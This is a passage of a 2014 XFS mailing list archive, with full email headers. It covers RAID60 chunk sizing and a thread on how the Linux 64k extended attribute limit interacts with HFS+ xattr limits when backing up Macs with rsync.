X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1391150110 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144675 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hopefully this is an acceptable way to avoid thread jacking, by renaming = the subject=85 On Jan 30, 2014, at 10:58 PM, Stan Hoeppner <stan@hardwarefreak.com> = wrote: >=20 > RAID60 is a nested RAID level just like RAID10 and RAID50. It is a > stripe, or RAID0, across multiple primary array types, RAID6 in this > case. The stripe width of each 'inner' RAID6 becomes the stripe unit = of > the 'outer' RAID0 array: >=20 > RAID6 geometry 128KB * 12 =3D 1536KB > RAID0 geometry 1536KB * 3 =3D 4608KB My question is on this particular point. If this were hardware raid6, = but I wanted to then stripe using md raid0, using the numbers above = would I choose a raid0 chunk size of 1536KB? How critical is this value = for, e.g. only large streaming read/write workloads? If it were smaller, = say 256KB or even 32KB, would there be a significant performance = consequence? Chris Murphy= From sblood@gmail.com Fri Jan 31 01:40:35 2014 Return-Path: <sblood@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BDAB27F57 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 01:40:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E3828F8050 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 23:40:32 -0800 (PST) X-ASG-Debug-ID: 1391154027-04bdf0121e4a040001-NocioJ Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) by cuda.sgi.com with ESMTP id 21UqFa7C4i2HpzQf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 23:40:28 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] Received: by mail-qc0-f171.google.com with SMTP id n7so6514532qcx.2 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 23:40:27 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=0x4yCOjYN+tjxAu5LWyI4MTdyp2raMrlN4y2qRFBeIQ=; b=FK3F4J6x+I02x+eLxwzyT+cBoPw/BjreW9xnaAWwUTXN5s2tE8KFGYHYdjEgrrUTx2 n6dVw8Oj/Y2k8Ndf0dIsxZ0Cxowmvl1qK439XUekUA+xMH7dRJ+ToGCmsepGZxQJG1uC SX+VYHF0XBYZNWIiYXj2WnfJKzzeEsp5wAidU8nEMFIog/aQllsHz65bbLwklUFU9Oqa xpxyk4rP+Bua2GLHzLZFPSAdKqST/tS+aN/CbXOjSpXn5glGXJ30nSua17PLMLwGAyzO dnMMXKJ/Tf2Ghv5qVVuVyh6xsP8IzDQhm8T2E551ldgp3Zto7mN1jyK1Kzf0g8lYArY/ l/Zw== MIME-Version: 1.0 X-Received: by 10.229.171.8 with SMTP id f8mr29083849qcz.13.1391154027215; Thu, 30 Jan 2014 23:40:27 -0800 (PST) Received: by 10.140.94.199 with HTTP; Thu, 30 Jan 2014 23:40:27 -0800 (PST) Date: Fri, 31 Jan 2014 08:40:27 +0100 Message-ID: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> Subject: Extended attributes limit in Linux From: Sun_Blood <sblood@gmail.com> X-ASG-Orig-Subj: Extended attributes limit in Linux To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c3a9849ec13904f13f493e X-Barracuda-Connect: mail-qc0-f171.google.com[209.85.216.171] X-Barracuda-Start-Time: 1391154027 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c3a9849ec13904f13f493e Content-Type: text/plain; charset=ISO-8859-1 Hello, If I understands it correctly XFS don't have a limit to the size of extended attributes(EA) but Linux impose a limit at 64k. What I am trying to do is build a backup server that our Apple computers will use together with rsync to backup files to. The problem I face is that Apple HFS+ don't have a limit to EA so it has files with more then 64k of EA in it. The Linux Kernel has a limit imposed to it in include/linux/limits.h > #define XATTR_SIZE_MAX 65536 /* size of an extended attribute value > (64k) */ > #define XATTR_LIST_MAX 65536 /* size of extended attribute namelist > (64k) */ > Changing this values feels unsafe because they will be system wide. Is the any possibility to combine Linux + XFS to make a backup that works with EA or is this more a question for kernel.org? Thanks. --001a11c3a9849ec13904f13f493e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr"><div><div><div><div><div><div>Hello,<br><br></div>If I und= erstands it correctly XFS don&#39;t have a limit to the size of extended at= tributes(EA) but Linux impose a limit at 64k. <br></div>What I am trying to= do is build a backup server that our Apple computers will use together wit= h rsync to backup files to. The problem I face is that Apple HFS+ don&#39;t= have a limit to EA so it has files with more then 64k of EA in it.<br> <br></div>The Linux Kernel has a limit imposed to it in include/linux/limit= s.h<br></div></div><blockquote style=3D"margin:0px 0px 0px 0.8ex;border-lef= t:1px solid rgb(204,204,204);padding-left:1ex" class=3D"gmail_quote"><div><= div> <span class=3D"">#define</span><span class=3D""> XATTR_SIZE_MAX </span><spa= n class=3D"">65536</span><span class=3D""> =A0 =A0</span><span class=3D"">/= * size of an extended attribute value (64k) */</span><span class=3D""></spa= n> <br></div> </div></blockquote><blockquote style=3D"margin:0px 0px 0px 0.8ex;border-lef= t:1px solid rgb(204,204,204);padding-left:1ex" class=3D"gmail_quote"><div><= div><span class=3D"">#define</span><span class=3D""> XATTR_LIST_MAX </span>= <span class=3D"">65536</span><span class=3D""> =A0 =A0</span><span class=3D= "">/* size of extended attribute namelist (64k) */</span><span class=3D""><= /span></div> </div></blockquote><br></div><div>Changing this values feels unsafe because= they will be system wide.<br></div><div><br>Is the any possibility to comb= ine Linux + XFS to make a backup that works with EA or is this more a quest= ion for <a href=3D"http://kernel.org">kernel.org</a>?<br> <br></div>Thanks.</div> --001a11c3a9849ec13904f13f493e-- From jeff.liu@oracle.com Fri Jan 31 02:55:00 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 31E877F62 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 02:55:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 041958F8050 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 00:54:59 -0800 (PST) X-ASG-Debug-ID: 1391158498-04cbb00c2b46c90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 2GJbx7rPD2PX934Y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 00:54:59 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0V8svoW024056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 08:54:57 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0V8suYx028144 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 31 Jan 2014 08:54:57 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0V8su38016026; Fri, 31 Jan 2014 08:54:56 GMT Received: from [192.168.1.101] (/112.238.86.127) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 00:54:56 -0800 Message-ID: <52EB64DC.4020603@oracle.com> Date: Fri, 31 Jan 2014 16:54:52 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391158499 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144678 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, On 01/31 2014 15:40 PM, Sun_Blood wrote: > Hello, > > If I understands it correctly XFS don't have a limit to the size of > extended attributes(EA) but Linux impose a limit at 64k. > What I am trying to do is build a backup server that our Apple computers > will use together with rsync to backup files to. The problem I face is > that Apple HFS+ don't have a limit to EA so it has files with more then > 64k of EA in it. > > The Linux Kernel has a limit imposed to it in include/linux/limits.h > > #defineXATTR_SIZE_MAX 65536 /* size of an extended attribute value > (64k) */ > > #defineXATTR_LIST_MAX 65536 /* size of extended attribute namelist > (64k) */ > Yes, 64k is the VFS limit per EA value size. > Changing this values feels unsafe because they will be system wide. > > Is the any possibility to combine Linux + XFS to make a backup that > works with EA or is this more a question for kernel.org <http://kernel.org>? So if an EA value size on HFS+ is larger than 64k, I suspect it would failed to preserve on Linux+XFS... But if a file has multiple EAs, and each EA's value size is <= 64K, it would be works IMO. Thanks, -Jeff From slava@dubeyko.com Fri Jan 31 04:45:19 2014 Return-Path: <slava@dubeyko.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 986DE7CBE for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 04:45:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 379FFAC001 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 02:45:19 -0800 (PST) X-ASG-Debug-ID: 1391165117-04bdf0121f4ee90001-NocioJ Received: from gproxy3-pub.mail.unifiedlayer.com (gproxy3-pub.mail.unifiedlayer.com [69.89.30.42]) by cuda.sgi.com with SMTP id L15IhggNfAk0ix9p for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 02:45:17 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 69.89.30.42 Received: (qmail 21407 invoked by uid 0); 31 Jan 2014 10:45:15 -0000 Received: from unknown (HELO cmgw2) (10.0.90.83) by gproxy3.mail.unifiedlayer.com with SMTP; 31 Jan 2014 10:45:15 -0000 Received: from host202.hostmonster.com ([74.220.215.202]) by cmgw2 with id Lakz1n0044NbHr601al2tV; Fri, 31 Jan 2014 03:45:14 -0700 X-Authority-Analysis: v=2.1 cv=ar4hV0pV c=1 sm=1 tr=0 a=yEjhGPV9XlbPNRGz7jjbow==:117 a=yEjhGPV9XlbPNRGz7jjbow==:17 a=DsvgjBjRAAAA:8 a=f5113yIGAAAA:8 a=kH96It08rf4A:10 a=neHJxMmKCwgA:10 a=IkcTkHD0fZMA:10 a=wCmvBT1CAAAA:8 a=mwXUDZVSVwYA:10 a=djd9j7hWnewA:10 a=NEAV23lmAAAA:8 a=VwQbUJbxAAAA:8 a=eJfxgxciAAAA:8 a=Xfkj5UGj--eMEjlOYrwA:9 a=QEXdDO2ut3YA:10 a=U62fhAwekXMA:10 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=Mime-Version:Content-Transfer-Encoding:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID; bh=vjW+EvhWLMS/q16ua6ErK/cLWKGuNMjhmUGQ1nx0fwI=; b=gW1wCfxbYFEs0R+ern1S6OZcqH3V7eAyEzs5CZWYQXQrRwgiG3tO1dVyuOJOqQPUr+fe8MzZWGX+XR+IlRerqniWsRN01p+HQvMuhpR7w2j+FvswtWmSCqG58q/MP9s5; Received: from [46.39.244.28] (port=64952 helo=[192.168.44.128]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from <slava@dubeyko.com>) id 1W9Bal-0001Ck-J9; Fri, 31 Jan 2014 03:44:59 -0700 Message-ID: <1391165083.4275.7.camel@ubuntu> Subject: Re: Extended attributes limit in Linux From: Vyacheslav Dubeyko <slava@dubeyko.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux To: Jeff Liu <jeff.liu@oracle.com> Cc: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Date: Fri, 31 Jan 2014 14:44:43 +0400 In-Reply-To: <52EB64DC.4020603@oracle.com> References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: gproxy3-pub.mail.unifiedlayer.com[69.89.30.42] X-Barracuda-Start-Time: 1391165117 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144680 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 2014-01-31 at 16:54 +0800, Jeff Liu wrote: > Hello, > > On 01/31 2014 15:40 PM, Sun_Blood wrote: > > Hello, > > > > If I understands it correctly XFS don't have a limit to the size of > > extended attributes(EA) but Linux impose a limit at 64k. > > What I am trying to do is build a backup server that our Apple computers > > will use together with rsync to backup files to. The problem I face is > > that Apple HFS+ don't have a limit to EA so it has files with more then > > 64k of EA in it. Technical Note TN1150: "In an HFS Plus B-tree, the node size is determined by a field (nodeSize) in the header node. The node size must be a power from 512 through 32,768." So, as minimum, xattrs unable to be a larger than node size. But xattrs' size has limitation anyway: https://github.com/darwin-on-arm/xnu/blob/master/bsd/hfs/hfs.h#L849 /* Maximum extended attribute size supported for all extended attributes except * resource fork and finder info. */ #define HFS_XATTR_MAXSIZE (128 * 1024) So, I need to check and correct slightly HFS+ xattrs support code. Because, I used 3082 bytes limitation value. Thanks, Vyacheslav Dubeyko. > > > > The Linux Kernel has a limit imposed to it in include/linux/limits.h > > > > #defineXATTR_SIZE_MAX 65536 /* size of an extended attribute value > > (64k) */ > > > > #defineXATTR_LIST_MAX 65536 /* size of extended attribute namelist > > (64k) */ > > > > Yes, 64k is the VFS limit per EA value size. > > Changing this values feels unsafe because they will be system wide. > > > > Is the any possibility to combine Linux + XFS to make a backup that > > works with EA or is this more a question for kernel.org <http://kernel.org>? > > So if an EA value size on HFS+ is larger than 64k, I suspect it would failed to preserve > on Linux+XFS... But if a file has multiple EAs, and each EA's value size is <= 64K, it > would be works IMO. > > Thanks, > -Jeff > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From jeff.liu@oracle.com Fri Jan 31 06:25:04 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D6F437F74 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:25:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C513730406B for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 04:25:01 -0800 (PST) X-ASG-Debug-ID: 1391171100-04cbb00c2b4ce80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 4DFfpYp03HQRobXk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 04:25:00 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VCOtgV005638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 12:24:55 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VCOrVa028674 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 31 Jan 2014 12:24:54 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VCOrj3002435; Fri, 31 Jan 2014 12:24:53 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 04:24:53 -0800 Message-ID: <52EB960D.607@oracle.com> Date: Fri, 31 Jan 2014 20:24:45 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Vyacheslav Dubeyko <slava@dubeyko.com> CC: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <1391165083.4275.7.camel@ubuntu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391171100 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144682 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/31 2014 18:44 PM, Vyacheslav Dubeyko wrote: > On Fri, 2014-01-31 at 16:54 +0800, Jeff Liu wrote: >> Hello, >> >> On 01/31 2014 15:40 PM, Sun_Blood wrote: >>> Hello, >>> >>> If I understands it correctly XFS don't have a limit to the size of >>> extended attributes(EA) but Linux impose a limit at 64k. >>> What I am trying to do is build a backup server that our Apple computers >>> will use together with rsync to backup files to. The problem I face is >>> that Apple HFS+ don't have a limit to EA so it has files with more then >>> 64k of EA in it. > > Technical Note TN1150: > "In an HFS Plus B-tree, the node size is determined by a field > (nodeSize) in the header node. The node size must be a power from 512 > through 32,768." > > So, as minimum, xattrs unable to be a larger than node size. > > But xattrs' size has limitation anyway: > > https://github.com/darwin-on-arm/xnu/blob/master/bsd/hfs/hfs.h#L849 > > /* Maximum extended attribute size supported for all extended attributes except > * resource fork and finder info. > */ > #define HFS_XATTR_MAXSIZE (128 * 1024) > > So, I need to check and correct slightly HFS+ xattrs support code. > Because, I used 3082 bytes limitation value. I just verified above limits on Mac OS X, that's true. sh-3.2# a=`perl -e 'print "A"x131072'` sh-3.2# xattr -w user.comment ${a} xattr_test sh-3.2# a=`perl -e 'print "A"x131073'` sh-3.2# xattr -w user.comment ${a} xattr_test xattr: [Errno 7] Argument list too long: 'xattr' Hence, that would be a problem to preserve EA with large value size on Linux. Thanks, -Jeff From slava@dubeyko.com Fri Jan 31 06:52:23 2014 Return-Path: <slava@dubeyko.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 317557F75 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:52:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 22F958F804B for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 04:52:20 -0800 (PST) X-ASG-Debug-ID: 1391172738-04cbb00c284dc40001-NocioJ Received: from gproxy5-pub.mail.unifiedlayer.com (gproxy5-pub.mail.unifiedlayer.com [67.222.38.55]) by cuda.sgi.com with SMTP id 65lmOEZ056bc7aRX for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 04:52:18 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 67.222.38.55 Received: (qmail 17080 invoked by uid 0); 31 Jan 2014 12:52:17 -0000 Received: from unknown (HELO cmgw2) (10.0.90.83) by gproxy5.mail.unifiedlayer.com with SMTP; 31 Jan 2014 12:52:17 -0000 Received: from host202.hostmonster.com ([74.220.215.202]) by cmgw2 with id LcsD1n00B4NbHr601csGjT; Fri, 31 Jan 2014 05:52:16 -0700 X-Authority-Analysis: v=2.1 cv=ar4hV0pV c=1 sm=1 tr=0 a=yEjhGPV9XlbPNRGz7jjbow==:117 a=yEjhGPV9XlbPNRGz7jjbow==:17 a=DsvgjBjRAAAA:8 a=f5113yIGAAAA:8 a=kH96It08rf4A:10 a=neHJxMmKCwgA:10 a=IkcTkHD0fZMA:10 a=wCmvBT1CAAAA:8 a=mwXUDZVSVwYA:10 a=djd9j7hWnewA:10 a=NEAV23lmAAAA:8 a=Zy-_0LRaPU_yFvyyUBMA:9 a=QEXdDO2ut3YA:10 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=Mime-Version:Content-Transfer-Encoding:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID; bh=JQCmllCXfBlgEZRK/gjlKx28Oe8Cvi62wdnXt27Ja7M=; b=llWVYj1Iz8IA6cRGrpUwaSHrh5CWF2BhwkId8EiQNxhaICnUGRUFZs1M8USLHw2rcLiHVxnI8bClNDzHhwMtPs2Ve1K7Z0MYNz3d51FLfRSn6pZweoXUCUoK1TRnN0Mf; Received: from [46.39.244.28] (port=54351 helo=[192.168.44.128]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from <slava@dubeyko.com>) id 1W9DZt-0003pJ-Ut; Fri, 31 Jan 2014 05:52:14 -0700 Message-ID: <1391172723.4275.11.camel@ubuntu> Subject: Re: Extended attributes limit in Linux From: Vyacheslav Dubeyko <slava@dubeyko.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux To: Jeff Liu <jeff.liu@oracle.com> Cc: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Date: Fri, 31 Jan 2014 16:52:03 +0400 In-Reply-To: <52EB960D.607@oracle.com> References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: gproxy5-pub.mail.unifiedlayer.com[67.222.38.55] X-Barracuda-Start-Time: 1391172738 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144682 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 2014-01-31 at 20:24 +0800, Jeff Liu wrote: > On 01/31 2014 18:44 PM, Vyacheslav Dubeyko wrote: > > On Fri, 2014-01-31 at 16:54 +0800, Jeff Liu wrote: > >> Hello, > >> > >> On 01/31 2014 15:40 PM, Sun_Blood wrote: > >>> Hello, > >>> > >>> If I understands it correctly XFS don't have a limit to the size of > >>> extended attributes(EA) but Linux impose a limit at 64k. > >>> What I am trying to do is build a backup server that our Apple computers > >>> will use together with rsync to backup files to. The problem I face is > >>> that Apple HFS+ don't have a limit to EA so it has files with more then > >>> 64k of EA in it. > > > > Technical Note TN1150: > > "In an HFS Plus B-tree, the node size is determined by a field > > (nodeSize) in the header node. The node size must be a power from 512 > > through 32,768." > > > > So, as minimum, xattrs unable to be a larger than node size. > > > > But xattrs' size has limitation anyway: > > > > https://github.com/darwin-on-arm/xnu/blob/master/bsd/hfs/hfs.h#L849 > > > > /* 